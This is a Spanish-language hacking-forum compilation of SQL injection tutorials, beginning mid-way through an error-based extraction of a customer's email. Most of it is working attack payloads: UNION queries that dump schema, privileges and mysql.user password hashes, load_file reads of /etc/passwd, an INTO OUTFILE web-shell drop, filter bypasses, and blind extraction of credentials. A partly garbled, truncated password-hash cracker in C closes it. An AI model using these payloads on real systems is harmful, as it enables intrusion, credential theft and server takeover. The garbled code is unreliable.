[Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar “Juanito” a una columna de datos tipo int.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

JOOJOOJOJO hay un cliente que se llama Juanito jejejeje. Veamos su correo:

‘ UNION SELECT MIN(correo),1,1 FROM Datos WHERE clientes = ‘Juanito’–

Y el resultado es…

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar ” he@ArgeniversoHAck.com“>Juanito_de_noc he@ArgeniversoHAck.com” a una columna de datos tipo int.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

Pues ya tenemos nuestros datos y el cliente “juanito” tiene un correo que es he@ArgeniversoHAck.com“>Juanito_de_noc he@ArgeniversoHAck.com. Ahora transporatar estos conocimientos a un login, con user y password.

Bueno espero k este tuto os alla serbido de algo.

Salu2

P.D.= tutotorial creado por Vengador De Las Sombras (Todo no, algo lo e puesto yo xD)

http://www.jorgeisaac.com/?p=243

fuentE:http://darknesshackteam.co.cc/foro/index.php?topic=479.0

repaso de tecnicas sql inyeccion

Este paper es muy bueno , es un repaso de tecnicas sql inyeccion, es algo viejo pero sige vigente y sobre todo es uno de los mejores en espan'ol :D.
En conclusion es Otro paper para la coleccion :D

saludos


http://www.newbie.cl/nb/wp-content/uploads/2007/08/tecnicas-de-sql-injection-un-repaso.pdf

Gran tutorial sobre inyecciones sql en MySQL

Bueno , hago otro echo :D de las mejores comunidades ahora le toca a elhacker.net , este post fue hecho por z1x2c3z1x2c3| para esta comunidad.

para ver las imagenes deben visitar la fuente original , adjunta en la parte final :D

saludos

-----------------------------------------------------------------------------------------------------

tip's,errores y demàs .. son bienvenidos.

+--------------------------------------------------------
| |
| SQL injection && Blind Sql Injection |
| |
| Escrito por q7w8e9 |
| |
+--------------------------------------------------------

¿Qué es sql injection?

"Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la
base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las
partes del programa con código SQL. Es, de hecho, un error de una clase más general de
vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté
incrustado dentro de otro.
Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro
código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código
"invasor" en la base de datos."

Fuente: http://es.wikipedia.org/wiki/Inyección_SQL

¿Qué vamos a ver?

Hablare de sql injection/blind sql injection en base de datos MySQL versión 4.x y 5.x. Algunas
cosas explicadas aquí quizás no funcionen en otras base de datos ya que no todas las bases de datos
son iguales hay variedades de ellas... mysql, mssql (sql server), sqlite, oracle etc ..

Antes de empezar vamos a repasar algunas cosas básicas:

? enlaza la URL con los parámetros a pasar.
& delimita donde termina un parámetro y donde comienza el otro
= asigna el valor


Recuerdalos bien .

Empecemos ...

Nota: En los ejemplos usare siempre "localhost" y el nombre del script "print.php"

¿Cómo buscar y saber que una aplicación web se afronta a poseer vulnerabilidad de sql injection?

Hay varias formas de hacerlo .. entre ellas la mas común es usar una comilla simple ' (''%27'') al
final de la URL:

http://localhost/print.php?id=332'

La siguiente forma es usar un paréntesis ")" donde haría que la aplicación produzca un error o
también podríamos usar algún comentario que pueden ser ''/*'' , ''--'' o "#" (el tema de los comentarios puede ser que con un comentario funcione y con el otro no .. por ejemplo:

Con /*:




Con --:





al final de la url y así provocaría un error ... o usando palabras del mismo lenguaje como select
order by o algún carácter

Ejemplos:

http://localhost/print.php?id=12) --
http://localhost/print.php?id=12)) --
http://localhost/print.php?id=12 '--
http://localhost/print.php?id=12 ') --
http://localhost/print.php?id=12 ')) --

veamos:




Aunque hay otra forma usando operadores logicos de MySQL ..

Solo agregando al final de la url algo como:

http://localhost/print.php?id=1 and 1=1

Y luego:

http://localhost/print.php?id=1 and 1=2

No solo se puede usar AND existen otros operadores lógicos:

1 && 1 //Representa el AND
1 || 1 //Representa el OR
1 XOR 0 //Retorna null si alguno de ellos es null
! //Representa NOT se evalúa 1 si el operando es 0 y a 0 si el operando es distinto a 0.

Veremos que al hacer la primera inyección la pagina la devolverá normalmente ... pero al inyectar la
segunda se ha modificado! (a veces vacía o falta algún contenido, se notara la diferencia).
Si al hacer algunas de estas inyecciones obtenemos algo como: "You have an error in your SQL
syntax; check the manual that " o algo parecido o quizás nada pero... sabremos que es vulnerable a
sql injection.







Explorando la base de datos

Vamos a averiguar el numero de columnas ...

¿Cómo hacemos eso? ¡Fácil!, usamos el 'order by' e iremos incrementando o viceversa según los
resultados veamos.

http://localhost/print.php?id=-1 order by 1/* <---- no muestra un error
http://localhost/print.php?id=-1 order by 2/* <---- no muestra un error
...
http://localhost/print.php?id=-1 order by 14/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 15/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 16/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 17/* <-------- error

Cuando hay un error nos mostrara algo así:

"Unknown column '17' in 'order clause"

Como podemos ver hay 16 columnas.








Pero hay veces que esto no es posible y tendremos que usar UNION (Sentencia UNION: Se usa
para combinar los resultados de varias sentencias SELECT en un único conjunto de resultados.)
http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Ahí la pagina nos puede imprimir unos números o tal vez puede verse que falta de algun contenido pero
sabremos que la union funciona,pero podremos usar el método:

union all select 1/*
union all select 1,2/*
union all select 1,2,3/*
..
y así sucesivamente hasta encontrar la cantidad de columnas.


Sabiendo la versión de mysql y otros datos útiles

Bueno ahora analicemos la inyección de más arriba ..

http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Como pueden ver es que no explique el -1 .. no quiere decir que siempre hay que ponerlo .. pueden usar
cualquier numero.
También hay veces que al usar algún tipo de comentario como puede ser --,/* o # veremos que pueden
funcionar todos,2 y solo 1 de ellos en la inyección .. así que a probar! (como dije arriba)

Lo que hay que hacer ahora es reemplazar algún numero que se esté impreso en pantalla por algunas de
las inyecciones que podrían darnos algunos datos interesantes del servidor (estos números corresponde a
una columna de la tabla).

Ver la versión:

http://localhost/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16/
*

(se pude usar @@version o version())

Ejemplo:




(se pude usar @@version o version())

Tendrás algo como "4.1.20-log"

Los @@ son variables del sistema,por ejemplo podríamos hacer algo como @@servename.

Es importante saber que versión de MySQL estamos analizando ya que podría facilitarnos la inyección y
sacar algunos datos importantes veamos:

version() Devuelve la versión del servidor MySQL.
database() Devuelve el nombre de la base de datos actual.
current_user() Devuelve el nombre de usuario y el del host para el que está autentificada la
conexión actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de
acceso. Puede ser diferente del valor de USER().
last_insert_id() Devuelve el último valor generado automáticamente que fue insertado en una
columna AUTO_INCREMENT.
connection_id() Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.
@@datadir directorio de la db.

Algunos seguro tendran este problema que es algo frecuente y es eso de:

¿Por qué me dice que es ilegal, implícita etc ..?

ok .. vamos a ver como evitarlo y se hace de la siguiente manera:

Bueno en este caso tendremos que usar la función convert().

http://localhost/print.php?id=-1+union+all+select 1,convert(@@version using
latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

o con hex() y unhex():

http://localhost/print.php?id=-1+union+all+select
1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Bueno hasta aca ya recolectamos bastantes datos interesantes del servidor y ademas sabemos como ver si es vulnerable o no .. ahora seguimos.

Algunas veces nos podemos encontrar con filtros .. filtros que nos lian las inyecciones pero hay varias forma de pasarse filtros por ejemplo podríamos hacer algo como:

http://localhost/print.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

http://localhost/print.php?id=-1/**/uNion/**/aLl/**/sElEcT/**/1,unhEx(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Lo mismo hablare sobre esto mas adelante.


Obteniendo tabla,nombre de columna y otros datos

Vamos a ver como hacer al tener una versión 5 de MySQL:

Para listar los privilegios podríamos hacer:

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Como podemos ver hay algo nuevo y es concat (devuelve la cadena resultante de concatenar los argumentos).
Con esto nos ahorraríamos de hacer inyecciones .. sabemos que al usar concat,algunos de los datos que
pudiéramos sacar de la base por ejemplo no existiera nos largaría un error o cuando no hubiera contenido
nos largaría NULL.
Al hacer esto vemos que todo sale muy junto ..¿Cómo podemos evitar esto?

Podemos pasar algún carácter a hexadecimal o usando char() (pasar a valor ascii).

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,privilege_type,0x3a,is_grantable)3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Vemos que 0x3a es un valor en hex y representa ":"
Entonces obtendremos algo así:

''primerdato:segundodato'' y no ''primerdatosegundodato''

Y así con cualquier carácter como he dicho por ejemplo "=" en hexa (0x3D) Obtendríamos:

''primerdato=segundodato''

Y en ascii:

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,char(58),privilege_type,char(58),is_grantable)3,4,5,6,7,8,
9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Ejemplo:




y ..




Como podemos ver en la segunda imagen aparece unos : (dos puntos)

o con char():




como podemos ver lo separamos con ^ y claro! podremos usar cualquier caracter.

Nota: Para saber los valores ascii: http://www.ascii.cl/es/

o Sencillo script en perl para pasar una cadena de caracteres a HEX:

Código:

print "Enter string to encode:";
$str=;chomp $str;
$enc = encode($str); print "Hex Encoded value: 0x$enc\n";
sub encode{ #Sub to encode
@subvar=@_;
my $sqlstr =$subvar[0];
@ASCII = unpack("C*", $sqlstr);
foreach $line (@ASCII) {
$encoded = sprintf('%lx',$line);
$encoded_command .= $encoded;
}
return $encoded_command;
}

Tambien antes de hacer esto podriamos usar concat_ws() (concat_ws() utiliza el primer argumento para separar el resto de los argumentos:




o simplemente aprovechar los numeros que larga y poner en cada numero algo por ejemplo:




como ven puse que muestre la base de datos,la tabla y la columna .. aprovechando los numeros que habia largado.

en este caso blog es la base .. blog_lb_authors es la tabla y id es la columna.


Bueno seguimos ..
Ahí mostramos una forma de sacar una lista de privilegios pero hay otras formas:

http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Update_pri
v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_priv,0x3a,P
rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Alter_priv,
0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv,0x3a,Exe
cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+m
ysql.user--

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9,10,
11,12,13,14,15,16+FROM+information_schema.schema_privileges--
http://localhost/print.php?
id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,privileg
e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privileges--

Para sacar una lista sobre las base de datos:

http://localhost/print.php?id=-1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_s
chema.schemata--

http://localhost/print.php?id=-1+union+all+select+1,distinct(db),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.db--

Para sacar una lista de columnas:

http://localhost/print.php?
id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9,
10,11,12,13,14,15,16+FROM+information_schema.columns--

Otra cosa que se puede hacer es leer algún archivo local como puede ser "/etc/passwd":

http://localhost/print.php?id=-1+union+all+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14,15,1
6--

El /etc/passwd esta en hex.

Ejemplo:




o obtener un user y pass de la db y poder acceder remotamente a ella:

http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6,7,8,9,
10,11,12,13,14,15,16+FROM+mysql.user--

Ejemplo:




como podemos ver tiro el host,el usuario y por supuesto el password .. ahora lo que nos queda es crackear el
hash (pueden usar john the ripper etc ..) y scanear a ver si por esas casualidades tiene la posibilidad de que tenga el puerto de base de datos abierto.

Ejemplo:




y podernos conectar remotamente:




y luego buscando cosas interesantes:




Nota: se puede usar cualquier cliente mysql en este caso uso la c99.


Una forma para intentar buscar nombres de columnas:

Buscando algún nombre de tabla .. en este caso largo auth ..

http://localhost/print?id=-1 union all select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from
information_schema.tables where table_schema = database()

Pasando valor a ascii y buscando ..

http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from information_schema.columns where table_name = char(97,117,116,104) and column_name
like char()

Pasar en ascii "%a%" quedando:

http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from information_schema.columns where table_name = char(97,117,116,104) and column_name
like char(37,97,37)

En esta inyección por ejemplo estaríamos buscando un nombre de columna pasadas en ascii.
Y ahí te larga palabras y luego obtener datos

Sacando demàs tablas,columnas etc .. de la base:

Bueno hay algunas veces que al hacer una inyeccion y hacer algo así:

-1 union all select table_name from information_shchema.tables

obtendremos todas todas las tablas impresas de una sola vez .. pero otras veces no ..

por ejemplo:




Como podemos ver tira todas las tablas .. en cambio en esta no:





así que para ver la siguiente tabla usaremos limit al final de la url ejemplo:

-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 1,1--

Ejemplo:




como podemos ver saco la siguiente tabla .. solo nos quedaria incrementar limit ..

-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 2,1--
-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 3,1--
..
-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 15,1--

etc .. entendido? Ok, esto del limit lleva mucho tiempo .. por que saca datos de toda la base de datos
al menos que evitemos lo que no queremos ver ejemplo ..

en mysql existen 2 base de datos una se llama information_schema y la otra mysql .. (Instalen mysql y exploren lo que hay dentro de ellas)

pero si de verdad necesitamos evitarlas con el fin de encontrar algun password de algun panel de administracion etc .. podemos hacer algo así:

1+union+all+select+1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns+WHERE+table_schema!=0x6d7973716c+AND+table_schema+!=0x696e666f726d6174696f6e5f736368656d61+limit+100,1--

como podemos ver .. pase information_schema y mysql a HEX logrando que evite buscar alguna informacion en ellas.

aparte de usar limit podriamos usar group_concat() lo que haria es largar nombres de tabla pero no todas ejemplo:




y para evitar el tema de que aparezca todo junto podriamos hacer algo así:




como podemos ver puse: 0x3C62723E que seria un salto de linea en html osea
.


¿Para qué podría servir todo esto?

Desde leer archivos de configuraciones, archivos en si, etc .. solo es
cuestión de imaginación como por ejemplo obtener una shell del servidor haciendo algo como:

UNION SELECT "",2,3,4 INTO OUTFILE
"/var/www/html/mishell.php" --

por ejemplo: (Una vez echa la inyeccion)




y usando la shell:




Lo que estaríamos haciendo es metiendo el contenido de un script en php y guardándolo en alguna parte
del servidor.

si necesitan la ruta del servidor pueden verla en /etc/passwd ejemplo:

apache:x:48:48:Apache:/var/www:/sbin/nologin

o usar alguna tecnica como Full Path Disclosure:

http://www.owasp.org/index.php/Full_Path_Disclosure

Para hacer esto y algunas inyecciones más,necesitamos saltarnos las magic_quotes que son las que no
nos dejan hacer nuestras inyecciones con eficiencia para eso existen algunas formas ..

Como el "double encoding" bastante interesante y leer

(http://www.owasp.org/index.php/Double_Encoding)

hex encoding

para saltar filtros como las magic_quotes leer sobre "SQL Smuggling".

También como he leído por ahí .. podríamos saltar algunos de los filtros que posee PHP veamos:
-------------------------------------------------------
(MySQL 4.1.x o posterior: 4.1.20 y 5.0.x)
bypass a addslashes() con codificaciòn GBK
WHERE x = 0xbf27admin 0xbf27
-------------------------------------------------------
bypass mysql_real_escape_string() con BIG5 o GBK
se pueden poner caracteres chinos no hemos puesto el ejemplo por problemas de codificacion
pero es posible saltarse el mysql_real_escape() de esta forma.
aparte de ser caracteres chinos es BIG5
-------------------------------------------------------
Vectores avanzados:

Usando HEX para bypassear una consulta:

Consulta normal:

SELECT * FROM login WHERE user = 'root'

Bypass:

SELECT * FROM login WHERE user = 0x726F6F74

Insertando nuevo usuario en SQL.

Consulta Normal:
insert into login set user = ‘root’, pass = ‘root’

Bypass:

insert into login set user = 0×726F6F74, pass = 0×726F6F74
--------------------------------------------------------
Como determinar el HEX? bueno se puede usar el programita de perl màs arriba o simplemente haciendo
algo como:

SELECT HEX('root');
obtendremos algo como:
726F6F74
y luego le agregamos:
0x
quedaría: 0×726F6F74

Tambien hace poco me encontre un articulo interesante del amigo xianur0 :

http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html

seria bueno que lo lean.

Para ver si las magic_quotes estan activadas simplemente agreguen una ' (comilla siemple) si aparece algo así:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

es que no es posible por que aparece una barra invertida provocando un error en la base de datos ..

pero si aparece algo así:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

sabremos que no pasa nada con la comilla simple y tendremos màs posibilidades .. y inyecciones no tan complejas ademàs de poder actualizar datos,borrar etc ..

Ahora blind sql injection

Creo que es lo más difícil pero no imposible. Puede ser un poco cansado pero obtendremos
algunos frutos (?).

Sabiendo si es vulnerable a Bsql

Tenemos que saber esto:

http://localhost/print.php?id=-1 and 1 = 1 <--- esto siempre sera verdadero.
http://localhost/print.php?id=-1 and 1 = 2 <--- esto siempre sera falso.

Nota: Recordarlo siempre.

Si luego de probar http://localhost/print.php?id=-1 and 1 = 2 no regreso algo de la pagina, un texto o
etc sabemos que es vulnerable a bsql.

Sabiendo la versión de mysql:

http://localhost/print.php?id=-1 and substring(@@versión,1,1)=4 <--- si nos larga la pagina normal
(si es verdadero) sera versión 4.

http://localhost/print.php?id=-1 and substring(@@versión,1,1)=5 <--- si nos larga la pagina normal
(si es verdadero) sera versión 5.

Podemos usar select pero si tenemos problemas podremos usar subselect.

http://localhost/print.php?id=-1 and (select 1 from mysql.user limit 0,1)=1

Si nos larga verdadero tendremos acceso a mysql.user y podremos obtener ficheros del servidor
como /etc/password y etc ... usando load_file() y outfile.

Buscando nombre de tabla y columna

Puede ser difícil y con ganas de cagarte en muchas cosas xD.

Adivinando la tabla:

Hacemos esto:

http://localhost/print.php?id=-1 and (select 1 from members limit 0,1)=1

Nota: con LIMIT 0,1 nuestra consulta devuelve 1 fila de datos por causa de subselect por eso es
importante. RECODARLO

Si la pagina carga normalmente sabremos que el nombre de la tabla es la correcta si esto no es así
tendremos que seguir adivinando.

Ahora la columna:

http://localhost/print.php?id=-1 and (select substring(concat(1,password),1,1) from members limit
0,1)=1

Si la pagina carga normalmente sabremos que es la correcta de lo contrario a adivinar /* :@ */

Extrayendo datos

Supongamos que ya tenemos nombre de la columna y la tabla:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>80

El 80 es un carácter en ascii si nos da falso tenemos que aumentar hasta que de verdadero.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>95

Da falso así que incrementamos.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>95
http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>98

Nos da falso.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>99

Verdadero!

Por lo que el primer carácter en el nombre de usuario es char(99). Y convirtiéndolo a ascii sabemos
que char (99) es la letra c.

Entonces vamos a comprobar el segundo carácter:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>99

Fíjense que estoy cambiado, a 1,1, 2,1 para obtener el segundo carácter, ahora vuelve el segundo
carácter, 1 carácter de longitud.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>99

Nos da falso e incrementamos:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>107

Nos da falso y buscamos un numero menor.

http://localhost/print.php?id=5 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>104

Falso, incrementamos ..

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>105

Verdadero!

Sabemos que el segundo carácter es char(105) y que es ''i'' vamos ''ci'' y seguimos incrementando,
cuando > 0 devuelve falso, sabemos que llegamos al final.


Hay herramientas que hacen que esto no sea muy pesado:

http://www.seguridadinformatica.es/profiles/blog/show?id=1024177%3ABlogPost%3A16301

Les recomiendo leer el tutorial que hizo ka0x que contiene un script donde podemos aplicar los
conocimientos de aquí y el que he usado a lo largo del tutorial .(http://www.milw0rm.com/papers/download/216)

MySQL cheat sheet: http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/

MySQL cheat sheet: http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/ (Màs que interesante)

La intencion de este tutorial es simplemente informar y enseñar a otros usuarios lo que podemos
hacer con este tipo de vulnerabilidades, ninguno nos responsabilizamos del mal uso que pueda
hacerse de el, sin mas, espero que os sirva!!

TODA LA LECTURA ES OBLIGATORIA

Dudas? l0ve@hslteam.org

o publiquen su duda en este post.

Saludos!

---------------------------------

tools:

el soft que use para desencriptar el pass:

mysqlfast.c

Código:

/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include 

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
  i = -1;
  sum = 7;
  state1_ary[0] = 1345345333L;
  state2_ary[0] = 0x12345671L;

  while (1) {
    while (i < stop) {
      i++;
      pass_ary[i] = MIN_CHAR;
      step_ary[i] = (state1_ary[i] & 0x3f) + sum;
      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
      sum += MIN_CHAR;
      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
      state2_ary[i+1] = state2_ary[i]
        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
    }

    state1 = state1_ary[i+1];
    state2 = state2_ary[i+1];
    step = (state1 & 0x3f) + sum;
    xor1 = step*MIN_CHAR + (state1 << 8);
    xor2 = (state2 << 8) ^ state1;

    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
      newstate2 = state2 + (xor1 ^ xor2);
      newstate1 = state1 ^ xor1;

      newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
      div = (newstate1 & 0x3f) + sum + c;
      diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
      if (diff % div != 0) continue;
      d = diff / div;
      if (d <> MAX_CHAR) continue;

      div = (newstate3 & 0x3f) + sum + c + d;
      diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
      if (diff % div != 0) continue;
      e = diff / div;
      if (e <> MAX_CHAR) continue;

      pass_ary[i+1] = c;
      pass_ary[i+2] = d;
      pass_ary[i+3] = e;
      return 1;
    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
      sum -= MAX_CHAR;
      i--;
    }
    if (i < 0) break;
    pass_ary[i]++;
    xor_ary[i] += step_ary[i];
    sum++;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

Post del mismo tema en el hacker.net


Tutorial de Inyección SQL. (SQL Injection)
http://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.html

SQL Injection para principiantes, ejemplos en aplicaciones reales
http://foro.elhacker.net/bugs_y_exploits/sql_injection_para_principiantes_ejemplos_en_aplicaciones_reales-t142203.0.html

FUENTE ORIGINAL:

http://foro.elhacker.net/nivel_web/gran_tutorial_sobre_inyecciones_sql_en_mysql-t237420.0.html